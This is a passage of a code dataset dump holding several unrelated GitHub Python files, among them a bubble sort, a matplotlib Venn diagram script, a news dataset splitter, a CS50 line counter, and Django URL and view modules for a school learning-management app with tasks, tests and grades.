paths\n\n\nif __name__ == \"__main__\":\n paths = binary_tree_path()\n print(\"paths: \", paths)\n\n","repo_name":"rzlmma/pythonPro","sub_path":"algorithm/binary_tree_path.py","file_name":"binary_tree_path.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"20520007890","text":"def bubbleSort(array1,n):\n for i in range(0,n):\n for j in range(0,n-i-1):\n if(array1[j]>array1[j + 1]):\n temp=array1[j]\n array1[j]=array1[j+1]\n array1[j+1]=temp\n print(array1)\n\nn=int(input(\"enter the no. of element for array:\"))\narray1=list()\nfor i in range(n):\n lists= input('enter the elements of array:')\n array1.append(int(lists))\n\nbubbleSort(array1,n)\n\n# def calValue(num,list1):\n# for i in range(0,num):\n# for j in range(0,num-i-1):\n# if (list1[j]>list1[j+1]) :\n# temp=list1[j]\n# list1[j]=list1[j+1]\n# list1[j+1]=temp\n# return list1\n\n# num=int(input('enter the value of n for list:'))\n# list1=list()\n# for i in range(0,num):\n# list=input('enter the element for list:')\n# list1.append(int(list))\n# # target_no=int(input('enter the target no:'))\n\n# print(calValue(num,list1))","repo_name":"Iamprakashkhatri/basics","sub_path":"bubblesort.py","file_name":"bubblesort.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34974133780","text":"# encoding=utf-8\n\n\"\"\"\nFor documentation please refer to https://github.com/konstantint/matplotlib-venn\n\"\"\"\n\nimport argparse\nimport os\n\nimport numpy as np\nfrom matplotlib import cm\nfrom matplotlib import pyplot as plt\nfrom matplotlib.patches import Circle\nfrom matplotlib.text import Text\nfrom matplotlib_venn import venn3, venn3_circles\nimport matplotlib.patches as mpatches\nfrom matplotlib.collections import PatchCollection\n\nfrom scripts import load_data\n\n\ndef plot_venn_diagram(tables, output_path):\n fig, ax = plt.subplots(figsize=(7, 4))\n\n colors = cm.viridis(np.arange(0, 1, 0.1))\n\n group_label_fontsize = 14\n amount_label_fontsize = 16\n\n df = tables['objective']\n\n mf = df.loc[\n df[('multi', 'effectiveness')] |\n df[('multi', 'efficiency')] |\n df[('multi', 'diversity')] |\n df[('multi', 'complexity')]\n ]\n\n subsets = (\n # only efficiency\n mf.loc[mf[('multi', 'efficiency')] & ~mf[('multi', 'diversity')] & ~mf[('multi', 'complexity')]].shape[0],\n # only diversity\n mf.loc[~mf[('multi', 'efficiency')] & mf[('multi', 'diversity')] & ~mf[('multi', 'complexity')]].shape[0],\n # efficiency ^ diversity\n mf.loc[mf[('multi', 'efficiency')] & mf[('multi', 'diversity')]].shape[0],\n # only complexity\n mf.loc[~mf[('multi', 'efficiency')] & ~mf[('multi', 'diversity')] & mf[('multi', 'complexity')]].shape[0],\n # complexity ^ efficiency\n mf.loc[mf[('multi', 'complexity')] & mf[('multi', 'efficiency')]].shape[0],\n # complexity ^ diversity\n mf.loc[mf[('multi', 'complexity')] & mf[('multi', 'diversity')]].shape[0],\n # efficiency ^ diversity ^ complexity\n mf.loc[mf[('multi', 'efficiency')] & mf[('multi', 'diversity')] & mf[('multi', 'complexity')]].shape[0],\n )\n\n venn_colors = [\n colors[8], # efficiency\n colors[8], # diversity\n colors[6], # efficiency ^ diversity\n colors[8], # complexity\n colors[6], # complexity ^ efficiency\n colors[6], # complexity ^ diversity\n colors[4] # efficiency ^ diversity ^ complexity\n ]\n\n codes = [\n '100', # efficiency\n '010', # diversity\n '110', # efficiency ^ diversity\n '001', # complexity\n '101', # complexity ^ efficiency\n '011', # complexity ^ diversity\n '111' # efficiency ^ diversity ^ complexity\n ]\n\n patches = []\n\n # add a fancy box\n patches += [mpatches.FancyBboxPatch(\n xy=(-1.5, -0.5), width=3, height=1,\n boxstyle=mpatches.BoxStyle(\"Round\", pad=0.02),\n edgecolor='black', linewidth=3.\n )]\n\n plt.text(-0.825, 0.45, 'effectiveness (%d)' % len(mf), fontdict=dict(size=group_label_fontsize))\n\n collection = PatchCollection(patches, alpha=0.3)\n collection.set_color('white')\n ax.add_collection(collection)\n\n v = venn3(\n subsets=subsets,\n set_labels=('efficiency', 'diversity', 'complexity'),\n set_colors=[colors[0], colors[4], colors[8]]\n )\n\n plot = venn3_circles(subsets=subsets, linestyle='solid', linewidth=0.8)\n\n for code, color in zip(codes, venn_colors):\n patch = v.get_patch_by_id(code) # type: Circle\n if patch is not None:\n patch.set_color(color)\n\n for text in v.set_labels: # type: Text\n text.set_fontsize(group_label_fontsize)\n\n for text in v.subset_labels: # type: Text\n if text is not None:\n text.set_fontsize(amount_label_fontsize)\n\n plt.axis('on')\n plt.tight_layout()\n plt.savefig(os.path.join(output_path, 'objective_venn_diagram.pdf'), format='pdf')\n plt.show()\n\n\ndef main(data_path, output_path):\n tables = load_data(data_path)\n plot_venn_diagram(tables, output_path)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Script for generating venn diagram for paper.')\n parser.add_argument(\n '--data', action='store', required=True,\n help='Path to .json file with all citation references'\n )\n parser.add_argument(\n '--output-path', action='store', required=False,\n help='Path to folder where a PDF with the graph will be stored (if desired)'\n )\n\n args = parser.parse_args()\n main(data_path=args.data, output_path=args.output_path)\n","repo_name":"henryzord/eael","sub_path":"scripts/objectives.py","file_name":"objectives.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"27287297461","text":"\"\"\"\nThis code is self-contained and is for preparing dataset to train the headline generators. Splitting all news into train/eval/test.\n\"\"\"\nimport os\nimport ast\nimport pandas as pd\nimport numpy as np\nimport pdb\n\ndef main():\n # Input files\n news_file = \"../datasets/pens/news.pkl\"\n test_file = \"../datasets/pens/test.pkl\"\n\n news = pd.read_pickle(news_file)\n test = pd.read_pickle(test_file)\n \n with open(f\"../datasets/pens/test.json\", \"w\") as f:\n print(test.to_json(orient=\"records\", lines=True), file=f, flush=False)\n\n # News that used in test dataset\n expanded_test_ids = []\n for i in test[\"posnewsID\"]:\n expanded_test_ids += i\n\n test_ids = set(expanded_test_ids)\n all_news_ids = set(np.arange(len(news)))\n\n # Problematic data\n same_body_title_ids = news.index[news[\"title\"]==news[\"body\"]]\n nan_body_ids = news.index[news[\"body\"].isnull()]\n same_body_title_ids = same_body_title_ids.tolist()\n nan_body_ids = nan_body_ids.tolist()\n problem_ids = set(same_body_title_ids + nan_body_ids)\n\n # Remove test data and problematic data\n news_ids = all_news_ids - problem_ids\n news_ids = news_ids - test_ids\n\n news_ids = [*news_ids,]\n valid_ids = news_ids[:5000]\n train_ids = news_ids[5000:]\n all_news_ids = [*all_news_ids,]\n\n train_ids = [[i] for i in train_ids]\n valid_ids = [[i] for i in valid_ids]\n test_ids = [[i] for i in test_ids]\n all_ids = [[i] for i in all_news_ids]\n expanded_test_ids = [[i] for i in expanded_test_ids]\n\n train_df = pd.DataFrame()\n valid_df = pd.DataFrame()\n test_df = pd.DataFrame()\n expanded_test_df = pd.DataFrame()\n all_df = pd.DataFrame()\n train_df[\"newsID\"] = train_ids\n valid_df[\"newsID\"] = valid_ids\n test_df[\"newsID\"] = test_ids\n all_df[\"newsID\"] = all_ids\n expanded_test_df[\"newsID\"] = expanded_test_ids\n\n # Output files\n out_dir = \"../datasets/GHG\"\n os.makedirs(out_dir, exist_ok=True)\n #train_df.to_pickle(out_dir+\"/train.pkl\")\n #valid_df.to_pickle(out_dir+\"/validation.pkl\")\n #test_df.to_pickle(out_dir+\"/test.pkl\")\n \n with open(f\"{out_dir}/all_news_ids.json\", \"w\") as f:\n print(all_df.to_json(orient=\"records\", lines=True), file=f, flush=False)\n with open(f\"{out_dir}/train.json\", \"w\") as f:\n print(train_df.to_json(orient=\"records\", lines=True), file=f, flush=False)\n with open(f\"{out_dir}/validation.json\", \"w\") as f:\n print(valid_df.to_json(orient=\"records\", lines=True), file=f, flush=False)\n with open(f\"{out_dir}/test.json\", \"w\") as f:\n print(test_df.to_json(orient=\"records\", lines=True), file=f, flush=False)\n with open(f\"{out_dir}/expanded_test.json\", \"w\") as f:\n print(expanded_test_df.to_json(orient=\"records\", lines=True), file=f, flush=False)\n\n\n #train_df.to_csv(out_dir+\"/train.csv\", index=False)\n #valid_df.to_csv(out_dir+\"/validation.csv\", index=False)\n #test_df.to_csv(out_dir+\"/test.csv\", index=False)\n\n # Write out dataset information\n with open(\"../datasets/GHG/info.txt\", \"w\") as f:\n f.write(\"This dataset id built for train a general headline generator.\\n\")\n f.write(\"The train and valid data are all news except the news in test posnewID and problem data.\\n\")\n f.write(\"Train: {}\\nValid: {}\\nTest: {}\\n\".format(len(train_df),len(valid_df),len(test_df)))\n f.write(\"There are {} problematic data (body and title is the same or NaN body)\".format(len(problem_ids)))\n\nif __name__==\"__main__\":\n main()\n","repo_name":"yunzhusong/TACL-GTP","sub_path":"Evaluation/preprocess/build_general_headline_dataset.py","file_name":"build_general_headline_dataset.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"41689355559","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('category//', views.category_menu, name='category_menu'),\n path('item//', views.item_details, name='item_details'),\n path('', views.main_page, name='main_page'),\n path('', views.brunch, name='brunch'),\n path('', views.dinner, name='dinner'),\n path('', views.dessert, name='dessert'),\n path('', views.drinks, name='drinks'),\n path('', views.omelette, name='omelette'),\n path('', views.smoothie, name='smoothie'),\n path('', views.chia, name='chia'),\n path('', views.oatmeal, name='oatmeal'),\n\n]\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n","repo_name":"KristinaJovanovska3/ethealthy","sub_path":"menu/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22374660754","text":"import sys\n\ndef main():\n \"\"\"Main program\"\"\"\n if conditional_1():\n print(conditional_2())\n\ndef conditional_1():\n \"\"\"Check length of the argument, determine end of string\"\"\"\n if len(sys.argv) > 2 or len(sys.argv) < 1:\n sys.exit(\"Too many command-line arguments\")\n elif not sys.argv[1].endswith(\".py\"):\n sys.exit(\"Not a Python File\")\n else:\n return True\n\ndef conditional_2():\n \"\"\"Detect space or '#'\"\"\"\n lines_code = 0\n try:\n with open(f\"{sys.argv[1]}\") as file:\n for line in file:\n if not line.isspace():\n if not line.lstrip().startswith(\"#\"):\n lines_code +=1\n return lines_code\n except FileNotFoundError:\n sys.exit(\"File does not exist\")\n\nmain()","repo_name":"noahwons/CS50p","sub_path":"CS50P/problem_sets/problem_set6/lines/lines.py","file_name":"lines.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20378600051","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth import authenticate, login, logout\nfrom .forms import *\nfrom .models import *\nfrom django.urls import reverse\nfrom django.forms import inlineformset_factory\nfrom .decorators import allowed_users\nfrom .utils import get_task, is_teacher, create_answered_task_instances_for_group, get_ans_task\nfrom collections import Counter\nfrom django.contrib import messages\nimport datetime\nimport pytz\n\n\ndef homepage(request):\n return render(request, \"homepage/homepage.html\", {})\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef t_choose_task_type(request, subject_id):\n return render(request, \"teacher_views/t_choose_task_type.html\", {\"subject_id\": subject_id})\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef t_create_task(request, subject_id=None, task_type=None):\n\n teacher = request.user.teacher\n\n if request.method == \"POST\":\n if task_type == \"CommonTask\":\n form = CommonTaskForm(request.POST, request.FILES)\n elif task_type == \"InfoTask\":\n form = InfoTaskForm(request.POST, request.FILES)\n if form.is_valid():\n task = form.save(commit=False)\n task.created_by = teacher\n task.subject = Subject.objects.get(id=subject_id)\n task.save()\n create_answered_task_instances_for_group(task)\n messages.success(\n request, \"Задание было успешно создано и опубликовано\")\n return redirect('ts_subject', subject_id)\n\n if task_type == \"CommonTask\":\n form = CommonTaskForm()\n elif task_type == \"InfoTask\":\n form = InfoTaskForm()\n elif task_type == \"Test\":\n return redirect(\"create_test\", subject_id=subject_id)\n\n ctx = {\n \"task_type\": task_type,\n \"form\": form,\n \"subject_id\": subject_id,\n }\n\n return render(request, \"teacher_views/t_create_common_task.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef t_statistics(request):\n teacher = request.user.teacher\n subjects = Subject.objects.all().filter(teacher=teacher)\n ctx = {\n \"subjects\": subjects,\n }\n return render(request, \"teacher_views/t_statistics.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef t_statistics_subject(request, subject_id):\n\n subject = Subject.objects.get(id=subject_id)\n\n common_tasks = subject.commontask_set.all()\n tests = subject.test_set.all()\n\n ans_common_tasks = AnsweredCommonTask.objects.filter(\n common_task__in=common_tasks)\n taken_tests = TakenTest.objects.filter(related_test__in=tests)\n\n tasks_amount = taken_tests.count() + ans_common_tasks.count()\n\n # infotask is not considered a task\n\n assigned_tasks_cnt = taken_tests.filter(status=AnsweredTask.ASND).count(\n ) + ans_common_tasks.filter(status=AnsweredTask.ASND).count()\n done_tasks_cnt = taken_tests.filter(status=AnsweredTask.DONE).count(\n ) + ans_common_tasks.filter(status=AnsweredTask.DONE).count()\n eval_tasks_cnt = taken_tests.filter(status=AnsweredTask.EVAL).count(\n ) + ans_common_tasks.filter(status=AnsweredTask.EVAL).count()\n\n eval_ans_common_tasks = taken_tests.filter(status=AnsweredTask.EVAL)\n eval_taken_tests = ans_common_tasks.filter(status=AnsweredTask.EVAL)\n\n taken_test_grades = eval_taken_tests.values_list(\"grade\", flat=True)\n\n students = subject.st_group.student_set.all()\n student_avg_grades = []\n\n for student in students:\n s_ct_gr = eval_ans_common_tasks.filter(\n student=student).values_list(\"grade\", flat=True)\n s_tt_gr = taken_test_grades.filter(\n student=student).values_list(\"grade\", flat=True)\n student_all_tasks_cnt = ans_common_tasks.filter(student=student).exclude(\n status=\"PASSED\").count() + taken_tests.filter(student=student).exclude(status=\"PASSED\").count()\n try:\n avg_st_grade = (sum(s_ct_gr) + sum(s_tt_gr))/student_all_tasks_cnt\n except:\n avg_st_grade = 0\n\n student_avg_grades.append(\n round(avg_st_grade, 2) if avg_st_grade else 0)\n\n ctx = {\n \"subject\": subject,\n \"tasks_amount\": tasks_amount,\n \"assigned_tasks_cnt\": assigned_tasks_cnt,\n \"tasks_performed\": tasks_amount - assigned_tasks_cnt,\n \"done_tasks_cnt\": done_tasks_cnt,\n \"avg_grade\": round(sum(student_avg_grades)/len(student_avg_grades), 2),\n \"student_names\": [str(st) for st in students],\n \"student_avg_grades\": student_avg_grades,\n }\n return render(request, \"teacher_views/t_statistics_subject.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef t_task_answers(request):\n teacher = request.user.teacher\n t_subjects = teacher.subject_set.all()\n t_common_tasks = CommonTask.objects.filter(subject__in=t_subjects)\n task_answers = AnsweredCommonTask.objects.filter(\n common_task__in=t_common_tasks, status=AnsweredTask.DONE).order_by(\"finished_at\")\n ctx = {\n \"task_answers\": task_answers,\n }\n return render(request, \"teacher_views/t_task_answers.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef t_task_answer(request, ans_task_id):\n ans_task = get_object_or_404(AnsweredCommonTask, pk=ans_task_id)\n common_task = ans_task.common_task\n\n if request.method == \"POST\":\n task_was_accepted = request.POST.get('btn_accepted') is not None\n if task_was_accepted:\n grade = request.POST.get(\"grade\")\n if grade == \"\":\n ans_task.status = AnsweredTask.PSSD\n else:\n ans_task.grade = int(grade)\n ans_task.status = AnsweredTask.EVAL\n else:\n ans_task.status = AnsweredTask.ASND\n comment = request.POST.get(\"comment_from_teacher\")\n if comment:\n ans_task.comment_from_teacher = comment\n ans_task.save()\n return redirect('t_task_answers')\n\n ctx = {\n \"common_task\": common_task,\n \"ans_task\": ans_task,\n\n }\n return render(request, \"teacher_views/t_task_answer.html\", ctx)\n\n\n# Student views\n@allowed_users(allowed_groups=[\"student\"])\ndef s_tasks(request):\n student = request.user.student\n assigned_tasks = student.get_all_tasks_by_type(AnsweredTask.ASND)\n done_tasks = student.get_all_tasks_by_type(AnsweredTask.DONE)\n eval_tasks = student.get_all_tasks_by_type(AnsweredTask.EVAL)\n passed_tasks = student.get_all_tasks_by_type(AnsweredTask.PSSD)\n checked_tasks = student.get_all_tasks_by_type(AnsweredTask.CHKD)\n ctx = {\n \"assigned_tasks\": assigned_tasks,\n \"done_tasks\": done_tasks,\n \"eval_tasks\": eval_tasks,\n \"passed_tasks\": passed_tasks,\n \"checked_tasks\": checked_tasks,\n }\n\n return render(request, \"student_views/s_tasks.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef s_group_files(request):\n st_group = request.user.student.st_group\n subjects = Subject.objects.all().filter(st_group=st_group)\n\n ctx = {\n \"subjects\": subjects,\n }\n\n return render(request, \"student_views/s_group_files.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef s_group_files_subject(request, subject_id):\n\n student = request.user.student\n subject = Subject.objects.get(id=subject_id)\n\n if request.method == \"POST\":\n form = DocumentForm(request.POST, request.FILES)\n if form.is_valid():\n\n instance = form.save(commit=False)\n instance.student = student\n instance.subject = subject\n instance.save()\n else:\n # implicit iterations clear previous messages\n list(messages.get_messages(request))\n messages.warning(request, \"Выбран неверный формат файла\")\n\n docs = subject.document_set.all()\n form = DocumentForm()\n ctx = {\n \"docs\": docs,\n \"subject\": subject,\n \"form\": form,\n }\n return render(request, \"student_views/s_group_files_subject.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef delete_doc(request, subject_id, doc_id):\n doc = get_object_or_404(Document, pk=doc_id)\n student = request.user.student\n if doc.student == student:\n doc.delete()\n messages.warning(request, \"Документ успешно удален\")\n else:\n messages.warning(request, \"У вас нет прав на удаление данного файла\")\n return redirect('s_group_files_subject', subject_id)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef s_statistics(request):\n student = request.user.student\n assigned_tasks = student.get_all_tasks_by_type(AnsweredTask.ASND)\n done_tasks = student.get_all_tasks_by_type(AnsweredTask.DONE)\n eval_tasks = student.get_all_tasks_by_type(AnsweredTask.EVAL)\n passed_tasks = student.get_all_tasks_by_type(AnsweredTask.PSSD)\n\n standart_grades = [\n task.grade for task in eval_tasks if task.grade in {1, 2, 3, 4, 5}]\n grades_cnt = dict.fromkeys([1, 2, 3, 4, 5], 0)\n for key, value in Counter(standart_grades).items():\n grades_cnt[key] += value\n task_grades = list(grades_cnt.values())\n\n ctx = {\n \"assigned_tasks\": assigned_tasks,\n \"done_tasks\": done_tasks,\n \"eval_tasks\": eval_tasks,\n \"passed_tasks\": passed_tasks,\n 'task_grades': task_grades,\n }\n\n return render(request, \"student_views/s_statistics.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef s_answer_task(request, task_type=None, task_id=None):\n student = request.user.student\n\n if request.method == \"POST\":\n if task_type == \"CommonTask\":\n common_task = CommonTask.objects.get(id=task_id)\n qs = student.answeredcommontask_set.filter(common_task=common_task)\n if qs:\n last_attempt = qs[0]\n else:\n last_attempt = None\n form = AnsweredCommonTaskForm(\n request.POST, request.FILES, instance=last_attempt)\n if form.is_valid():\n answered_common_task = form.save(commit=False)\n answered_common_task.student = student\n answered_common_task.common_task = common_task\n answered_common_task.status = AnsweredTask.DONE\n answered_common_task.finished_at = pytz.UTC.localize(\n datetime.datetime.now())\n answered_common_task.save()\n messages.success(\n request, \"Ответ на задание был успешно отправлен на проверку.\")\n return redirect('s_tasks')\n\n if task_type == \"CommonTask\":\n form = AnsweredCommonTaskForm(request.POST or None)\n ctx = {\n \"form\": form,\n \"task_type\": task_type,\n \"task_id\": task_id,\n }\n return render(request, \"student_views/s_answer_task.html\", ctx)\n\n if task_type == \"Test\":\n return redirect(\"start_a_test\", task_id)\n\n if task_type == \"InfoTask\":\n info_task = get_task(task_type, task_id)\n answered_info_task = get_ans_task(info_task, student)\n answered_info_task.status = AnsweredTask.CHKD\n answered_info_task.save()\n return redirect('s_tasks')\n\n\n# Mutual views\n@allowed_users(allowed_groups=[\"teacher\", \"student\"])\ndef ts_subjects(request):\n user = request.user\n subjects = None\n if is_teacher(user):\n teacher = user.teacher\n subjects = Subject.objects.all().filter(teacher=teacher)\n else:\n student_group = user.student.st_group\n subjects = Subject.objects.all().filter(st_group=student_group)\n ctx = {\n \"subjects\": subjects,\n }\n return render(request, \"mutual_views/ts_subjects.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\", \"student\"])\ndef ts_subject(request, subj_id):\n subject = Subject.objects.get(id=subj_id)\n tasks = subject.all_tasks\n ctx = {\n \"subject\": subject,\n \"tasks\": tasks,\n }\n return render(request, \"mutual_views/ts_subject.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\", \"student\"])\ndef ts_profile(request):\n ctx = {}\n return render(request, \"mutual_views/ts_profile.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\", \"student\"])\ndef ts_task(request, task_type=0, task_id=0):\n task = get_task(task_type, task_id)\n\n ctx = {\n \"task\": task\n }\n\n user = request.user\n if not is_teacher(user):\n ans_task = get_ans_task(task, user.student)\n ctx['ans_task'] = ans_task\n\n return render(request, \"mutual_views/ts_task.html\", ctx)\n\n\n\"\"\"\n***************************************************************************************************************\n Tester (part of an old project):\n***************************************************************************************************************\n\"\"\"\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef create_test(request, subject_id):\n if request.method == \"POST\":\n form = TestForm(request.POST, request.FILES)\n if form.is_valid():\n test = form.save(commit=False)\n test.subject = Subject.objects.get(id=subject_id)\n test.save()\n return redirect('create_questions', test.pk)\n\n form = TestForm()\n ctx = {\n \"form_test\": form,\n }\n return render(request, \"tester/create_test/create_test.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef create_questions(request, testid):\n if request.method == \"POST\":\n\n question = request.POST.get('question')\n\n the_test = Test.objects.get(id=testid)\n previous_questions = Question.get_test_questions(the_test)\n\n the_question = Question.objects.create(\n question=question, related_test=the_test)\n\n answers = request.POST.getlist('answer')\n is_right = request.POST.getlist('is_right')\n\n for number, answer in enumerate(answers, 1):\n ans_obj = Answer()\n ans_obj.answer = answer\n ans_obj.is_right = str(number) in is_right\n ans_obj.related_question = the_question\n ans_obj.save()\n\n answer_form_not_model = AnswerFormNotModel()\n ctx = {\n \"answer_form_not_model\": answer_form_not_model,\n 'testid': testid,\n 'previous_questions': previous_questions,\n }\n return render(request, \"tester/create_test/create_questions.html\", ctx)\n else:\n answer_form_not_model = AnswerFormNotModel()\n ctx = {\n \"answer_form_not_model\": answer_form_not_model,\n 'testid': testid,\n }\n return render(request, \"tester/create_test/create_questions.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"teacher\"])\ndef finish_test_creation(request, testid):\n test = Test.objects.get(id=testid)\n if Question.objects.filter(related_test=test).count() == 0:\n test.delete()\n ctx = {\"subject_id\": test.subject.id}\n return render(request, \"tester/create_test/cant_create_test.html\", ctx)\n create_answered_task_instances_for_group(test)\n return redirect(\"ts_subject\", test.subject.id)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef start_a_test(request, testid):\n the_test = Test.objects.get(id=testid)\n ctx = {\n \"the_test\": the_test,\n }\n return render(request, \"tester/take_test/start_a_test.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef take_test(request, testid, current_question_num, taken_test_id):\n\n if request.method == 'POST':\n the_test = Test.objects.get(pk=testid)\n question_set = Question.get_test_questions(the_test)\n this_question = None\n\n next_question_num = current_question_num + 1\n if len(question_set) < next_question_num-1:\n next_question = 999999\n\n taken_test = TakenTest.objects.get(id=taken_test_id)\n\n ans_length = 2\n try:\n next_question = question_set[current_question_num]\n if next_question is not None:\n next_answers = Answer.objects.filter(\n related_question=next_question)\n ans_length = len(next_answers)\n except:\n pass\n\n GivenAnswerFormSet = inlineformset_factory(\n AnsweredQuestion,\n GivenAnswer,\n fields=(\"checked\",),\n labels={\"checked\": \"\"},\n can_delete_extra=False,\n extra=ans_length,\n )\n\n previous_question = question_set[current_question_num-1]\n\n prev_ans_quest = AnsweredQuestion()\n prev_ans_quest.related_taken_test = taken_test\n prev_ans_quest.related_question = previous_question\n prev_ans_quest.save()\n\n previous_answers = Answer.get_answers(previous_question)\n\n for i in range(len(previous_answers)):\n checked = request.POST.get(f\"givenanswer_set-{i}-checked\", \"off\")\n given_answer = GivenAnswer()\n given_answer.checked = True if checked == \"on\" else False\n given_answer.related_answered_question = prev_ans_quest\n given_answer.save()\n\n all_prev_given_ans = GivenAnswer.objects.filter(\n related_answered_question=prev_ans_quest)\n\n prev_ans_quest.correct = all([ans.is_right == prev_ans.checked for ans, prev_ans in zip(\n previous_answers, all_prev_given_ans)])\n prev_ans_quest.save()\n\n if current_question_num == 999999:\n return redirect(reverse('show_result', args=[taken_test_id]))\n try:\n this_question = question_set[current_question_num]\n except:\n return redirect(reverse('show_result', args=[taken_test_id]))\n\n the_answers = Answer.get_answers(this_question)\n answered_question = AnsweredQuestion(\n related_taken_test=taken_test, related_question=this_question)\n givenanswer_formset = GivenAnswerFormSet()\n a_ga_zipped = zip(the_answers, givenanswer_formset)\n\n ctx = {\n \"quantity_of_questions\": len(question_set),\n \"this_question\": this_question,\n \"next_question_num\": next_question_num,\n \"the_answers\": the_answers,\n \"givenanswer_formset\": givenanswer_formset,\n \"the_test\": the_test,\n \"a_ga_zipped\": a_ga_zipped,\n \"taken_test\": taken_test,\n }\n return render(request, \"tester/take_test/take_test.html\", ctx)\n\n else:\n the_test = Test.objects.get(pk=testid)\n question_set = Question.get_test_questions(the_test)\n this_question = None\n\n this_question = question_set[current_question_num]\n next_question_num = current_question_num + 1\n if len(question_set) < next_question_num:\n next_question = 999999\n\n the_answers = Answer.get_answers(this_question)\n\n taken_test = TakenTest.objects.create(\n score=0, related_test=the_test, student=request.user.student)\n\n given_answer_form = GivenAnswerForm()\n\n answered_question = AnsweredQuestion(\n related_taken_test=taken_test, related_question=this_question)\n\n GivenAnswerFormSet = inlineformset_factory(\n AnsweredQuestion,\n GivenAnswer,\n fields=(\"checked\",),\n labels={\"checked\": \"\"},\n can_delete_extra=False,\n extra=len(the_answers))\n\n givenanswer_formset = GivenAnswerFormSet()\n\n a_ga_zipped = zip(the_answers, givenanswer_formset)\n\n ctx = {\n \"quantity_of_questions\": len(question_set),\n \"this_question\": this_question,\n \"next_question_num\": next_question_num,\n \"the_answers\": the_answers,\n \"givenanswer_formset\": givenanswer_formset,\n \"the_test\": the_test,\n \"a_ga_zipped\": a_ga_zipped,\n \"taken_test\": taken_test,\n }\n return render(request, \"tester/take_test/take_test.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef show_result(request, taken_test_id):\n\n taken_test = TakenTest.objects.get(pk=taken_test_id)\n answered_questions = AnsweredQuestion.objects.filter(\n related_taken_test=taken_test)\n score = sum(\n [1 if ans_question.correct else 0 for ans_question in answered_questions])\n q_amount = len(answered_questions)\n taken_test.score = score\n taken_test.status = AnsweredTask.EVAL\n taken_test.grade = int((score / q_amount) * 5)\n taken_test.save()\n\n # delete excessive taken_test instance\n TakenTest.objects.filter(student=request.user.student,\n related_test=taken_test.related_test)[0].delete()\n\n ctx = {\n \"taken_test\": taken_test,\n \"q_amount\": q_amount,\n }\n return render(request, \"tester/take_test/show_result.html\", ctx)\n\n\n@allowed_users(allowed_groups=[\"student\"])\ndef show_result_table(request, taken_test_id):\n taken_test = TakenTest.objects.get(id=taken_test_id)\n answered_questions = AnsweredQuestion.objects.filter(\n related_taken_test=taken_test)\n given_ans_arr2d = []\n for a_q in answered_questions:\n answers = GivenAnswer.objects.filter(related_answered_question=a_q)\n given_ans_arr2d += [answers]\n\n the_test = taken_test.related_test\n questions = Question.objects.filter(related_test=the_test)\n ans_arr2d = []\n for q in questions:\n answers = Answer.objects.filter(related_question=q)\n ans_arr2d += [answers]\n\n all_zipped = zip(questions, ans_arr2d, given_ans_arr2d, answered_questions)\n\n ctx = {\n \"taken_test\": taken_test,\n \"answered_questions\": answered_questions,\n \"given_ans_arr2d\": given_ans_arr2d,\n \"the_test\": the_test,\n \"questions\": questions,\n \"ans_arr2d\": ans_arr2d,\n \"all_zipped\": all_zipped,\n }\n return render(request, 'tester/take_test/show_result_table.html', ctx)\n\n\ndef login_form(request):\n if request.user.is_authenticated:\n return redirect(\"ts_profile\")\n if request.method == \"POST\":\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n user = authenticate(request, username=username, password=password)\n if user is None:\n user_form = UserForm()\n ctx = {\n 'error': \"Invalid username or password\",\n \"user_form\": user_form,\n }\n return render(request, \"login/login_form.html\", ctx)\n else:\n login(request, user)\n ctx = {\n \"user\": user,\n }\n if is_teacher(user):\n return redirect(\"ts_subjects\")\n else:\n return redirect(\"ts_subjects\")\n\n else:\n user_form = UserForm()\n ctx = {\n \"user_form\": user_form,\n }\n return render(request, \"login/login_form.html\", ctx)\n\n\ndef log_out(request):\n if request.user.is_authenticated:\n logout(request)\n return redirect('login_form')\n","repo_name":"moipo/lms","sub_path":"univ_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":23076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30870740459","text":"from 